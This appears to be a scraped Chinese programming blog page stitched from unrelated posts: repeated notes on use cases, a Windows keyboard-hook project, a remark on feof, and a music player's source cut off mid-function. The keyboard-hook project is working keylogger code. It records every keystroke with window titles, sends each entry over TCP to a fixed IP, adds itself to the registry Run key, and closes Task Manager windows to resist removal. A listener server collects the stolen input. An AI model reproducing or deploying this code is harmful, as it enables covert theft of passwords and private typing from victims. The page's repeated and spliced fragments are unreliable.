http://hi.baidu.com/anqing/blog/item/d5c85c60d78c04d88cb10d41.html
http://hi.baidu.com/laopin10/blog/item/a4ca59f5c4949e67dcc47479.html
一个用例的特征:
一、这件事是相对独立的。
二、这件事的执行结果对参与者来说是可观测的和有意义的。
三、这件事必须由一个参与者发起。
http://hi.baidu.com/anqing/blog/item/d5c85c60d78c04d88cb10d41.html
http://hi.baidu.com/laopin10/blog/item/a4ca59f5c4949e67dcc47479.html
一个用例的特征:
一、这件事是相对独立的。
二、这件事的执行结果对参与者来说是可观测的和有意义的。
三、这件事必须由一个参与者发起。
前两天写了个监听用户键盘消息的程序,研究了下Hooks和Socket。虽然程序功能是简单的,但编写代码的过程中遇到的问题不少,解决的过程中收获也不少。
Hooks监听所有线程的消息需要编写dll,用来注入其他线程。
MyHookDLL.h
#include <windows.h>
#include <stdio.h>
#include <process.h>//线程操作
//#include <Winsock2.h>
#ifdef __cplusplus
#define EXPORT extern “C” __declspec(dllexport)
#else
#define EXPORT __declspec(dllexport)
#endif
EXPORT void SetHook();
EXPORT void ReleaseHook();
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void TheadProc(PVOID pvoid);
MyHookDLL.cpp
#include “MyHookDLL.h”
static HHOOK MyHook = NULL;
TCHAR szBuf[MAX_PATH+20];
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
EXPORT void SetHook()
{
if(!MyHook)
MyHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(“MyHookDLL.dll”), 0);
}
EXPORT void ReleaseHook()
{
if(MyHook)
UnhookWindowsHookEx(MyHook);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0)// do not process message
return CallNextHookEx(MyHook, nCode, wParam, lParam);
if(lParam & 0x80000000)//lParam第31位为0的时候,表示按键正在被按下,为1的时候,表示按键正在被释放。此处释放的时候记录。
{
TCHAR szKeyName[20];
TCHAR szWindowText[MAX_PATH];
FILE* fp = NULL;
SYSTEMTIME systime;
ZeroMemory(szBuf, sizeof(szBuf));
ZeroMemory(szKeyName, sizeof(szKeyName));
ZeroMemory(szWindowText, sizeof(szWindowText));
ZeroMemory(&systime, sizeof(SYSTEMTIME));
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));//取得按键名
if(!GetKeyState(20) && wParam != 20)//如果大小写锁定键未打开,且按键不是大小写锁定键。
lstrcat(szKeyName, TEXT(” Caps Unlock”));
HWND hWnd = GetActiveWindow();//GetFocus();取得活动窗口句柄
if(!GetWindowText(hWnd, szWindowText, sizeof(szWindowText)))//取得hWnd窗口名
lstrcpy(szWindowText, “Unkown”);
GetLocalTime(&systime);//取得系统时间
wsprintf(szBuf, “KEYBOARD – nCode: %d, VK: %d, KEY: %s, Window: %s, Time: %d-%d %d:%d:%d”, nCode, wParam, szKeyName, szWindowText, systime.wMonth, systime.wDay, systime.wHour, systime.wMinute, systime.wSecond);
if((fp = fopen(“C:\\Keyboard.txt”, “a”)) == NULL)
fp = fopen(“C:\\Keyboard.txt”, “w”);
if(fp)
{
fputs(szBuf, fp);
fputc(‘\r’, fp);
fputc(‘\n’, fp);
fclose(fp);
_beginthread(TheadProc, 0, NULL);
}
}
//MessageBox(NULL, szBuf, “MyHook”, MB_OK);
return CallNextHookEx(MyHook, nCode, wParam, lParam);
}
由于Socket阻塞运行,所以放到线程去运行比较好。
void TheadProc(PVOID pvoid)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 0), &wsaData);//初始化dll中Scoket版本为2.0的例程
int sockfd;
/*
if(-1 == (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)))//创建Socket
//MessageBox(NULL, TEXT(“Function: socket error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
{
WSACleanup();
return FALSE;
}
*/
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//配置对方地址信息
sockaddr_in their_addr;
ZeroMemory(&their_addr, sizeof(sockaddr_in));
their_addr.sin_family = AF_INET;//IP地址家族
their_addr.sin_addr.S_un.S_addr = inet_addr(“193.168.1.103”);//IP地址
their_addr.sin_port = htons(3000);//端口
/*
if(-1 == connect(sockfd, (sockaddr *)&their_addr, sizeof(sockaddr_in)))
//MessageBox(NULL, TEXT(“Function: connect error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
{
closesocket(sockfd);
WSACleanup();
return FALSE;
}
*/
connect(sockfd, (sockaddr *)&their_addr, sizeof(sockaddr_in));
send(sockfd, szBuf, sizeof(szBuf), 0);
closesocket(sockfd);
WSACleanup();
_endthread();
}
MyHook.cpp中的主要函数
BOOL SetAutoRun(HWND hwnd) //开机自动运行
{
//得到程序本身路径
TCHAR sthPath[MAX_PATH];
GetModuleFileName(NULL, sthPath, MAX_PATH);
//MessageBox(NULL, sthPath, “path”, MB_OK);
TCHAR str[MAX_PATH];
HKEY hRegKey;
DWORD dwValue = 1;
BOOL bResult;
lstrcpy(str, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, str, 0, KEY_ALL_ACCESS, &hRegKey) != ERROR_SUCCESS)
bResult = FALSE;
else
{
if(RegSetValueEx(hRegKey, str, 0, REG_SZ, (BYTE*)sthPath, strlen(sthPath) + 1) != ERROR_SUCCESS)
bResult = FALSE;
else
{
//MessageBox(NULL, “OK”, “”, MB_OK);
bResult = TRUE;
RegCloseKey(hRegKey);
}
}
return bResult;
}
void CALLBACK Killtaskmgr(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime)
{
HWND hwndTasken,hwndTaskcn;
hwndTasken=FindWindow(NULL, “Windows Task Manager”);
hwndTaskcn=FindWindow(NULL, “Windows 任务管理器”);
if(hwndTasken)
{
PostMessage(hwndTasken, WM_CLOSE, 0, 0);
Sleep(200);
}
if(hwndTaskcn)
{
PostMessage(hwndTaskcn, WM_CLOSE, 0, 0);
Sleep(200);
}
以上是客户端,下面贴下服务端主要代码。
//
// 函数: Listen(PVOID)
//
// 目的: 创建监听实体
//
// 注释:
//
// 在此函数中,我们通过Socket创建监听实体,
// 并将监听到的消息显示出来。
//
void Listen(PVOID pvoid)
{
fd_set fds; //需要监视改变的Socket集合
timeval timeout = {3, 0}; //异步处理延时3.0秒
int sockOld, sockNew, iSize = sizeof(sockaddr_in);
char szReport[512]; //接到的消息
int y = 0; //消息显示的初始Y值
FILE* fp = NULL;
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 0), &wsaData); //初始化dll中版本为2.0的Socket例程
char hostname[255]; //主机名
if(-1 == gethostname(hostname, sizeof(hostname)))
{
MessageBox(NULL, TEXT(“Fuction: gethostname() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
return;
}
hostent* host = gethostbyname(hostname); //获取主机IP
TCHAR hostaddr[255];
MultiByteToWideChar(CP_ACP, 0, inet_ntoa(*((in_addr*)host->h_addr_list[1])), -1, hostaddr, 255); //字符集转换
//显示消息
static int cyChar;
TEXTMETRIC tm;
HDC hDC = GetDC((HWND)pvoid);
GetTextMetrics(hDC, &tm);
cyChar = tm.tmHeight + tm.tmExternalLeading; //字符高度
TextOut(hDC, 1, y++ * cyChar, hostaddr, lstrlen(hostaddr));
ReleaseDC((HWND)pvoid, hDC);
if(-1 == (sockOld = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))) //创建监听Socket
{
MessageBox(NULL, TEXT(“Fuction: socket() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
WSACleanup();
return;
}
sockaddr_in my_addr, their_addr; //监听的本机地址信息和发送请求的对方地址信息
my_addr.sin_family = AF_INET;
my_addr.sin_addr.S_un = (*((in_addr*)host->h_addr_list[1])).S_un; //INADDR_ANY;时IP为0.0.0.0 .S_addr = inet_addr(“118.249.58.214”);
my_addr.sin_port = htons(3000);
memset(my_addr.sin_zero, 0, sizeof(my_addr.sin_zero));
if(-1 == bind(sockOld, (sockaddr*)&my_addr, iSize)) //绑定监听Socket和监听的本机地址信息
{
MessageBox(NULL, TEXT(“Fuction: bind() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
closesocket(sockOld);
WSACleanup();
return;
}
if(-1 == listen(sockOld, 1)) //监听端口,并阻塞。
{
MessageBox(NULL, TEXT(“Fuction: listen() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
closesocket(sockOld);
WSACleanup();
return;
}
while(1) //接受请求循环
{
//重置需监听的Socket结合,监听改变。
FD_ZERO(&fds);
FD_SET(sockOld, &fds);
switch(select(0, &fds, &fds, NULL, &timeout))
{
case -1:
case 0: break;
default:
if(FD_ISSET(sockOld, &fds)) //sockOld状态改变
{ //新连接
if(-1 == (sockNew = accept(sockOld, (sockaddr*)&their_addr, &iSize)))
{
MessageBox(NULL, TEXT(“Fuction: accept() error!”), TEXT(“Error”), MB_OK | MB_ICONERROR);
closesocket(sockOld);
WSACleanup();
return;
}
ZeroMemory(szReport, sizeof(szReport));
recv(sockNew, szReport, sizeof(szReport), 0);
TCHAR szBuf[512];
ZeroMemory(szBuf, sizeof(szBuf));
MultiByteToWideChar(CP_ACP, 0, szReport, -1, szBuf, 512); //字符集转换
//MessageBox(NULL, szBuf, TEXT(“Report”), MB_OK);
HDC hDC = GetDC((HWND)pvoid);
if(y > 30)
{
InvalidateRect((HWND)pvoid, NULL, TRUE);
y = 0;
}
TextOut(hDC, 1, y++ * cyChar, szBuf, lstrlen(szBuf));
ReleaseDC((HWND)pvoid, hDC);
//写文件
if((fp = fopen(“C:\\Listen.txt”, “a”)) == NULL)
fp = fopen(“C:\\Listen.txt”, “w”);
if(fp)
{
fputs(szReport, fp);
fputc(‘\r’, fp);
fputc(‘\n’, fp);
fclose(fp);
}
closesocket(sockNew);
}
}
}
//关闭Socket
closesocket(sockOld);
WSACleanup();
}
feof虽说是检测文件流结束符,但是要先读才能判断。也就是说,如果是一个空文件,在feof之前没有读过一次,feof的返回值依然是0。这就是为什么用feof复制文件时,目标文件比源文件要多一些东西的原因。
参考:
修增V1.1中已知bug;
自动播放下一首;
最小化到托盘;
自动加载和保存播放列表。
//连接库
//mciSendString winmm.lib
//COM ole32.lib
#include <windows.h>
#include <windowsx.h>
#include <commctrl.h>//滚动条控制时包含头文件
#include <objbase.h>//CoInitializeEx包含头文件
#include <shlobj.h>//文件夹选择对话框包含头文件
#include <stdio.h>//文件操作
#include “main.h”
#include “dialogs.h”
#include “resource.h”
#include “rsrc.inc”
#define WM_NOTIFYICON WM_USER+1
TCHAR szFileName[100][MAX_PATH];//播放列表,存储最大值100。
int iNum = 0;//音乐数
int iPlay = 0;//播放状态:0未播放 1正在播放 2暂停
int iTempPlay = 0;//用于IDC_LST1 LBN_SELCHANGE
int iPlayListIndex = 0;//播放列表索引
int iLength;//播放文件时长秒数
NOTIFYICONDATA nid;//托盘图标
BOOL WINAPI Main_Proc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch(uMsg)
{
//BEGIN MESSAGE CRACK
//HANDLE_MSG消息分析器参考:http://hi.baidu.com/%C7%C6%C0%B4%C7%C3%C8%A5/blog/item/37a8e43ea710ede554e723b6.html
HANDLE_MSG(hWnd, WM_INITDIALOG, Main_OnInitDialog);
HANDLE_MSG(hWnd, WM_COMMAND, Main_OnCommand);
HANDLE_MSG(hWnd, WM_CLOSE, Main_OnClose);
HANDLE_MSG(hWnd, WM_HSCROLL, Main_OnHScroll);//水平滚动条消息。WM_VSCROLL垂直滚动条消息。
HANDLE_MSG(hWnd, WM_SIZE, Main_OnSize);//处理最小化到托盘图标。
case WM_NOTIFYICON://单击托盘图标恢复界面。
if(WM_LBUTTONUP == (UINT)lParam)
{
Shell_NotifyIcon(NIM_DELETE, &nid);
ShowWindow(hWnd, SW_NORMAL);
SetForegroundWindow(hWnd);//激活
return TRUE;
}
return FALSE;
//END MESSAGE CRACK
}
return FALSE;//如果没有对应的消息处理,则返回父窗口FALSE。
}
////////////////////////////////////////////////////////////////////////////////
// Main_OnInitDialog
BOOL Main_OnInitDialog(HWND hwnd, HWND hwndFocus, LPARAM lParam)
{
// Set app icons
//设置图标 ICON_BIG大图标 ICON_SMALL小
HICON hIcon = LoadIcon((HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), MAKEINTRESOURCE(IDI_ICONAPP));
SendMessage(hwnd, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
SendMessage(hwnd, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
//
// Add initializing code here
//
//音量滚动条
//设置滚动条取值范围
//参考:http://www.rupeng.com/forum/redirect.php?fid=32&tid=601&goto=nextoldset
//http://hi.baidu.com/mowm/blog/item/c76d07ee77e5101efcfa3cd0.html
SendMessage(GetDlgItem(hwnd, IDC_TRBVOLUME), TBM_SETRANGEMIN, TRUE, 0);//最小值
SendMessage(GetDlgItem(hwnd, IDC_TRBVOLUME), TBM_SETRANGEMAX, TRUE, 1000);//最大值
SendMessage(GetDlgItem(hwnd, IDC_TRBVOLUME), TBM_SETPOS, TRUE, 800);//当前位置
if(!Load(hwnd))//加载播放列表
MessageBox(hwnd, TEXT(“MusicPlayer播放列表加载失败”), TEXT(“MusicPlayer Error”), MB_OK | MB_ICONERROR);
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////
// Main_OnCommand
void Main_OnCommand(HWND hwnd, int id, HWND hwndCtl, UINT codeNotify)
{
switch(id)
{
case IDC_BTNOPENFILES://添加文件按钮
OpenFiles(hwnd);
break;
case IDC_BTNSELECTFOLDER://添加文件夹按钮
SelectFolder(hwnd);
break;
case IDC_BTNPLAY://播放暂停按钮
if(0 == iPlay)//未播放
{
//获得选中项播放列表索引
iPlayListIndex = SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_GETCURSEL, 0, 0);
//播放选中项,改变播放状态。
Play(hwnd, iPlayListIndex);
//改变按钮显示文字
SetWindowText(hwndCtl, TEXT(“暂停”));
}
else if(1 == iPlay)//正在播放
{
//暂停正在播放文件
mciSendString(“pause OpenMusicFile”, (LPTSTR)NULL, 0, NULL);
//改变播放状态
iPlay = 2;
//改变按钮显示文字
SetWindowText(hwndCtl, TEXT(“播放”));
}
else//暂停
{
//恢复暂停播放文件
mciSendString(“play OpenMusicFile”, (LPTSTR)NULL, 0, NULL);
//改变播放状态
iPlay = 1;
//改变按钮显示文字
SetWindowText(hwndCtl, TEXT(“暂停”));
}
break;
case IDC_BTNPREV://上一首
//播放或暂停时,取消原来因为调用Play函数时设置的定时器。
if(iPlay)
KillTimer(hwnd, 1);
//获得上一首播放列表索引
iPlayListIndex = SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_GETCURSEL, 0, 0) – 1;
if(iPlayListIndex >= 0)//索引在范围内
{
Play(hwnd, iPlayListIndex);
//设置上一首为选中项
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, iPlayListIndex, 0);
SetWindowText(GetDlgItem(hwnd, IDC_BTNPLAY), TEXT(“暂停”));
}
else
iPlayListIndex = 0;
break;
case IDC_BTNNEXT://下一首
if(iPlay)
KillTimer(hwnd, 1);
iPlayListIndex = SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_GETCURSEL, 0, 0) + 1;
if(iPlayListIndex < iNum)
{
Play(hwnd, iPlayListIndex);
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, iPlayListIndex, 0);
SetWindowText(GetDlgItem(hwnd, IDC_BTNPLAY), TEXT(“暂停”));
}
else
iPlayListIndex = iNum – 1;
break;
case IDC_LST1://列表消息
switch(codeNotify)
{
case LBN_SELCHANGE://选中项改变
//获得选中项播放列表索引
int iChange = SendMessage(hwndCtl, LB_GETCURSEL, 0, 0);
if(iChange != iPlayListIndex)//索引改变
{
if(iPlay)
iTempPlay = iPlay;//保存文件播放状态
iPlay = 0;//新文件未播放
SetWindowText(GetDlgItem(hwnd, IDC_BTNPLAY), TEXT(“播放”));
}
else//索引未改变
{
iPlay = iTempPlay;//恢复文件播放状态
if(1 == iPlay)
SetWindowText(GetDlgItem(hwnd, IDC_BTNPLAY), TEXT(“暂停”));
else
SetWindowText(GetDlgItem(hwnd, IDC_BTNPLAY), TEXT(“播放”));
}
break;
case LBN_DBLCLK://双击某项
//播放或暂停时,取消原来因为调用Play函数时设置的定时器。
if(iPlay)
KillTimer(hwnd, 1);
iPlayListIndex = SendMessage(hwndCtl, LB_GETCURSEL, 0, 0);
Play(hwnd, iPlayListIndex);
SetWindowText(GetDlgItem(hwnd, IDC_BTNPLAY), TEXT(“暂停”));
break;
default:break;
}
break;
case IDC_BTNMOVEUP:
int iTempPlayListIndex = SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_GETCURSEL, 0, 0);//选中项索引
if(iTempPlayListIndex > 0)//选中项索引大于0才能上移
{
TCHAR szTempFileName[MAX_PATH];//存放选中文件路径临时变量
if(iTempPlayListIndex != iPlayListIndex)
{
//上移
lstrcpy(szTempFileName, szFileName[iTempPlayListIndex]);
lstrcpy(szFileName[iTempPlayListIndex], szFileName[iTempPlayListIndex-1]);
lstrcpy(szFileName[–iTempPlayListIndex], szTempFileName);
//通过文件路径获取文件名
TCHAR* p = strrchr(szFileName[iTempPlayListIndex], ‘\\’);
p++;
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_INSERTSTRING, iTempPlayListIndex, (LPARAM)p);//在新位置插入文件名
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_DELETESTRING, iTempPlayListIndex+2, 0);//删除原位置文件名
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, iTempPlayListIndex, 0);//设置选中项
}
else
{
//上移
lstrcpy(szTempFileName, szFileName[iPlayListIndex]);
lstrcpy(szFileName[iPlayListIndex], szFileName[iPlayListIndex-1]);
lstrcpy(szFileName[–iPlayListIndex], szTempFileName);
//通过文件路径获取文件名
TCHAR* p = strrchr(szFileName[iPlayListIndex], ‘\\’);
p++;
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_INSERTSTRING, iPlayListIndex, (LPARAM)p);//在新位置插入文件名
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_DELETESTRING, iPlayListIndex+2, 0);//删除原位置文件名
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, iPlayListIndex, 0);//设置选中项
}
}
break;
case IDC_BTNMOVEDOWN:
iTempPlayListIndex = SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_GETCURSEL, 0, 0);//选中项索引
if(iTempPlayListIndex < iNum-1)//选中项索引小于iNum-1才能下移
{
TCHAR szTempFileName[MAX_PATH];//存放选中文件路径临时变量
if(iTempPlayListIndex != iPlayListIndex)
{
//下移
lstrcpy(szTempFileName, szFileName[iTempPlayListIndex]);
lstrcpy(szFileName[iTempPlayListIndex], szFileName[iTempPlayListIndex+1]);
lstrcpy(szFileName[++iTempPlayListIndex], szTempFileName);
//通过文件路径获取文件名
TCHAR* p = strrchr(szFileName[iTempPlayListIndex], ‘\\’);
p++;
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_INSERTSTRING, iTempPlayListIndex+1, (LPARAM)p);//在新位置插入文件名
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_DELETESTRING, iTempPlayListIndex-1, 0);//删除原位置文件名
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, iTempPlayListIndex, 0);//设置选中项
}
else
{
//下移
lstrcpy(szTempFileName, szFileName[iPlayListIndex]);
lstrcpy(szFileName[iPlayListIndex], szFileName[iPlayListIndex+1]);
lstrcpy(szFileName[++iPlayListIndex], szTempFileName);
//通过文件路径获取文件名
TCHAR* p = strrchr(szFileName[iPlayListIndex], ‘\\’);
p++;
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_INSERTSTRING, iPlayListIndex+1, (LPARAM)p);//在新位置插入文件名
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_DELETESTRING, iPlayListIndex-1, 0);//删除原位置文件名
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, iPlayListIndex, 0);//设置选中项
}
}
break;
case IDC_BTNDELETE:
if(0 == iNum)
break;//没有文件时,不执行删除操作。
iTempPlayListIndex = SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_GETCURSEL, 0, 0);//选中项索引
if(iTempPlayListIndex == iPlayListIndex)//选中项是播放文件
{
//播放或暂停状态,关闭文件,取消定时器,设置播放状态。
if(iPlay)
{
mciSendString(“close OpenMusicFile”, (LPTSTR)NULL, 0, 0);
KillTimer(hwnd, 1);
iPlay = 0;
}
if(iPlayListIndex == iNum-1)//如果是最后一首,则iPlayListIndex指向删除后的最后一首。
iPlayListIndex–;
}
else//选中项不是播放文件,则参看IDC_LST1 LBN_SELCHANGE。
{
iPlay = 1;
}
if(iTempPlayListIndex < iPlayListIndex)//选中项在iPlayListIndex前,则iPlayListIndex指向删除后的正在播放文件。
iPlayListIndex–;
//处理播放文件列表
for(int i = iTempPlayListIndex; i < iNum-1; i++)
{
lstrcpy(szFileName[i], szFileName[i+1]);
}
szFileName[–iNum][0] = ‘\0’;//删除项内容清空
//处理IDC_LST1
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_DELETESTRING, iTempPlayListIndex, 0);
if(iTempPlayListIndex == iNum)
iTempPlayListIndex–;
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, iTempPlayListIndex, 0);
if(0 == iPlay)
Play(hwnd, iPlayListIndex);
break;
default:break;
}
}
////////////////////////////////////////////////////////////////////////////////
// Main_OnClose
void Main_OnClose(HWND hwnd)
{
if(!Save())//保存播放列表
MessageBox(hwnd, TEXT(“MusicPlayer播放列表保存失败”), TEXT(“MusicPlayer Error”), MB_OK | MB_ICONERROR);
EndDialog(hwnd, 0);
}
void Main_OnHScroll(HWND hwnd, HWND hwndCtl, UINT code, int pos)//固定格式?
{
if(hwndCtl == GetDlgItem(hwnd, IDC_TRBVOLUME))
SetVolume(hwnd);
else
SetPlayProcess(hwnd);
}
void Main_OnSize(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if(SIZE_MINIMIZED == message)//最小化消息在WM_SIZE消息的wParam参数里
{
ZeroMemory(&nid, sizeof(nid));
nid.cbSize = sizeof(nid);
nid.hWnd = hwnd;
nid.uID = IDI_ICONAPP;
nid.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
nid.uCallbackMessage = WM_NOTIFYICON;
nid.hIcon = LoadIcon((HINSTANCE)GetWindowLong(hwnd, GWL_HINSTANCE), MAKEINTRESOURCE(IDI_ICONAPP));
lstrcpy(nid.szTip, “MusicPlayer”);
Shell_NotifyIcon(NIM_ADD, &nid);
ShowWindow(hwnd, SW_HIDE);
}
}
void OpenFiles(HWND hwnd)
{
//定时器设置参考文件夹选择对话框
if(iPlay)
KillTimer(hwnd, 1);
OPENFILENAME ofn;
TCHAR szOpenFileNames[80*MAX_PATH];//文件路径
TCHAR szPath[MAX_PATH];//基路径
TCHAR* p;
ZeroMemory(&ofn, sizeof(ofn));
ofn.lStructSize = sizeof(ofn);
ofn.lpstrFile = szOpenFileNames;
ofn.lpstrFile[0] = ‘\0’;
ofn.nMaxFile = sizeof(szOpenFileNames);
ofn.lpstrFilter = TEXT(“音乐文件(mp3、wma、wav)\0*.mp3;*.wma;*.wav\0所有文件(*.*)\0*.*\0″);
ofn.Flags = OFN_EXPLORER | OFN_ALLOWMULTISELECT | OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
if(GetOpenFileName(&ofn))
{
//单个文件的保存形式为:绝对路径\0
//多个文件的保存形式为:基路径\000文件一\000文件二\0
//注意路径”\”的转义为”\\”
//把路径复制到szPath
//参考资料:http://blog.csdn.net/xuminggang/archive/2009/05/21/4206010.aspx
lstrcpyn(szPath, szOpenFileNames, ofn.nFileOffset+1);
//根据单个和多个文件不同的保存形式,多文件基路径需加”\\”。
szPath[ofn.nFileOffset-1] = ‘\\’;
//把指针移到第一个文件
p = szOpenFileNames + ofn.nFileOffset;
iPlayListIndex = iNum;//加入的第一个文件
while(*p)
{
if(iNum >= 100)
{
MessageBox(hwnd, TEXT(“MusicPlayer已达到最大音乐数100”), TEXT(“MusicPlayer Error”), MB_OK | MB_ICONERROR);
return;
}
lstrcat(szFileName[iNum], szPath); //基路径
lstrcat(szFileName[iNum], p); //基路径+文件=绝对路径
//加入列表
//ListBox参考:http://www.cnitblog.com/netssfy/archive/2007/06/12/28347.html
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_ADDSTRING, 0, (LPARAM)p);
p += lstrlen(p) +1; //移至下一个文件
iNum++; //增加音乐数,移动准备接收下一个文件路径。
}
//设置选中项
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, (WPARAM)iPlayListIndex, 0);
//播放选中项
Play(hwnd, iPlayListIndex);
}
else
{
if(iPlay)
SetTimer(hwnd, 1, 1000, PlayProcess);
}
}
void Play(HWND hwnd, int iPlayListIndex)
{
TCHAR szMCIInfo[256]; //MCI操作返回信息
TCHAR szShortFileName[MAX_PATH]; //短文件名
ZeroMemory(szShortFileName, sizeof(szShortFileName));
//关闭正在播放的文件
//OpenMusicFile是通过MCI Command String中alias设置文件别名
mciSendString(“close OpenMusicFile”, szMCIInfo, sizeof(szMCIInfo), NULL);
//参考:http://www.programfan.com/doc/vbapi/GetShortPathName.htm
//http://topic.csdn.net/t/20060926/15/5049254.html
//否则播放不了路径带空格的文件
GetShortPathName(szFileName[iPlayListIndex], szShortFileName, sizeof(szShortFileName));
//转成短路径失败
DWORD dwError = GetLastError();
//如果操作失败
if(0 != dwError)
{
LPVOID lpMsgBuf = NULL;
//将dwError错误代码转化为字符串lpMsgBuf
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf,
0, NULL );
//显示错误原因
MessageBox(NULL, (LPTSTR)lpMsgBuf, “Error”, MB_OK|MB_ICONSTOP);
//释放Buffer
LocalFree(lpMsgBuf);
return;
}
//MCI Command String
//参考:http://tieba.baidu.com/f?kz=26410588
TCHAR szCMD[2*MAX_PATH];
wsprintf(szCMD, “open %s alias OpenMusicFile”, szShortFileName);
//打开文件
mciSendString(szCMD, szMCIInfo, sizeof(szMCIInfo), NULL);
//播放文件
mciSendString(“play OpenMusicFile”, szMCIInfo, sizeof(szMCIInfo), NULL);
mciSendString(“status OpenMusicFile length”, szMCIInfo, sizeof(szMCIInfo), NULL);//szMCIInfo获得播放时长毫秒数
iLength = atoi(szMCIInfo)/1000;//播放时长秒数
//设置进度滚动条取值范围
SendMessage(GetDlgItem(hwnd, IDC_TRBPROCESS), TBM_SETRANGEMIN, TRUE, 0);
SendMessage(GetDlgItem(hwnd, IDC_TRBPROCESS), TBM_SETRANGEMAX, TRUE, iLength);
//设置定时器,更新进度滚动条。
SetTimer(hwnd, 1, 1000, PlayProcess);
//设置音量
SetVolume(hwnd);
//改变播放状态
iPlay = 1;
//改变按钮显示文字
SetWindowText(GetDlgItem(hwnd, IDC_BTNPLAY), “暂停”);
}
void SetVolume(HWND hwnd)
{
//获得音量滚动体当前位置
int iVolume = SendMessage(GetDlgItem(hwnd, IDC_TRBVOLUME), TBM_GETPOS, 0, 0);
//设置音量
TCHAR szVolume[256];
wsprintf(szVolume, “setaudio OpenMusicFile volume to %d”, iVolume);
mciSendString(szVolume, (LPTSTR)NULL, 0, 0);
}
void SetPlayProcess(HWND hwnd)
{
if(0 == iPlay)//未播放时不能拖动滚动条
SendMessage(GetDlgItem(hwnd, IDC_TRBPROCESS), TBM_SETPOS, TRUE, 0);
else if(1 == iPlay)//只能在播放时拖动进度滚动条
{
TCHAR szPlayProcess[256];
int iPosition = SendMessage(GetDlgItem(hwnd, IDC_TRBPROCESS), TBM_GETPOS, 0, 0)*1000;//拖动位置毫秒数
wsprintf(szPlayProcess, “play OpenMusicFile from %d”, iPosition);
mciSendString(szPlayProcess, (LPTSTR)NULL, 0, 0);
}
}
void CALLBACK PlayProcess(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime)
{
TCHAR szMCIInfo[256];//MCI操作返回信息
mciSendString(“status OpenMusicFile position”, szMCIInfo, sizeof(szMCIInfo), NULL);//szMCIInfo获得播放当前位置毫秒数
int iPosition = atoi(szMCIInfo)/1000;//播放当前位置秒数
//更新播放时间
//TCHAR* szBuffer;
//FormatTime(iPosition, szBuffer);
//SetWindowText(GetDlgItem(hwnd, IDC_STCTIME), szBuffer);
ShowTime(hwnd, iPosition);
SendMessage(GetDlgItem(hwnd, IDC_TRBPROCESS), TBM_SETPOS, TRUE, (LPARAM)iPosition);//设置进度滚动条位置
if(iPosition == iLength)//结束
{
mciSendString(“close OpenMusicFile”, (LPTSTR)NULL, 0, 0);
iPlay = 0;
KillTimer(hwnd, 1);
SetWindowText(GetDlgItem(hwnd, IDC_STCTIME), TEXT(“00:00 / 00:00”));
SendMessage(GetDlgItem(hwnd, IDC_TRBPROCESS), TBM_SETPOS, TRUE, 0);
SetWindowText(GetDlgItem(hwnd, IDC_BTNPLAY), TEXT(“播放”));
if(iPlayListIndex < iNum)
SendMessage(hwnd, WM_COMMAND, IDC_BTNNEXT, 0);
}
}
void FormatTime(int iPosition, TCHAR* szBuffer)
{
int iLengthMinute, iLengthSecond, iPositionMinute, iPositionSecond;
iLengthMinute = iLength/60;//总时长分钟
iLengthSecond = iLength-iLengthMinute*60;//总时长秒钟
iPositionMinute = iPosition/60;//当前时长分钟
